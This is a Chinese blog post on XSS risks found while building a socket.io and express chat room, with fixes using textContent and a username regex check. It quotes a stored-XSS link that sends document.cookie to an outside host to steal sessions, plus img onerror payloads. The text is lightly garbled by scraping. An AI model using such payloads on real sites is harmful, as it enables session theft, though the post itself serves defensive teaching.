socket.io+express实现聊天室的思考(三)

这一篇文章主要是对 安全性 的思考,首先了解一下一些常见的网络攻击php

xss跨站点脚本攻击

XSS是注入攻击的一种,其特色是不对服务器形成任何伤害,而是经过一些正常的站内交互途径,发布含有js的攻击代码,若是服务器没有没有过滤或者转义这些脚本,做为内容发布到了页面上,其余用户访问这个页面时会运行这些脚本前端

储存型XSS

也叫做 持久性XSS,会把攻击者的数据储存在服务器端,攻击行为将伴随攻击数据一直存在。
举个栗子数据库

  1. 攻击者以一个普通用户登陆进来,而后在输入框提交如下数据后端

<a href=# onclick=\"document.location=\'http://abc.com/xss.php?c=\'+escape\(document.cookie\)\;\">更多</a>

攻击者提交了这条带标签的数据,该条数据保存在数据库中,而当用户user登陆后点击 更多时,在 "abc.com" 所在的服务器上,攻击者就能够窃取到user的sessionID。有了该sessionID,攻击者在会话有效期内能够得到user权限浏览器

反射型XSS

即被动的非持久性XSS,经过篡改页面,诱骗用户点击带攻击代码的连接。XSS代码出如今URL中,做为输入提交到服务器中,服务器解析后响应,XSS代码随着响应内容一块儿传回浏览器,由浏览器解析执行XSS代码,从而攻击用户。安全

DOM-XSS

在本次项目中的漏洞(部分)

完成demo后,我并无对用户的输入进行过滤而后尝试了一下<img>标签的脚本注入发现:服务器

<img src="x" onerror="alert(document.getElementById('username').value)">

图片描述

结果:垂手可得获得了用户名。显然,若是不作过滤想要获得用户的密码也是十分简单的cookie

解决方案

一. 将 innerHTML替换成 textContent网络

innerHTML和 textContent区别:session

innerHTML 返回 HTML 文本。一般,为了在元素中检索或写入文本,人们使用innerHTML。可是,textContent一般具备更好的性能,由于文本不会被解析为HTML。此外,使用textContent能够防止 XSS 攻击。

<img src="x" onerror="alert(document.cookie)>

图片描述

不过这种方案存在一个问题,就是没法发送图片。我暂时也没有一个好一点的思路,还请你们指教一下~

二. input输入框登陆名验证

var username = document.getElementById('username').value;
var legal = true,
    pattern = new RegExp("[<>`/?!%']|~")
if (username.trim() != '') {
    if (pattern.test(username)) {
        alert("昵称不能包含特殊字符:[<>`/?!%']|~~")
            return false
        }
    else that.socket.emit('login', username)  //不为空,发起一个login事件并将输入的昵称发送到服务器
}
else {
    alert('昵称不能为空')
    document.getElementById('username').focus() //不然输入框得到焦点
}

总结

总而言之,咱们不能信任用户的任何输入,只要是须要用户输入的地方都须要作数据的验证和过滤。尤为是对<input>,<img>等标签须要格外的注意。固然,仅仅前端作过滤是没有用的,用户能够绕过前端的验证,将数据传送到后端。后端必须对前端传过来的数据进行再次验证。

相关文章
相关标签/搜索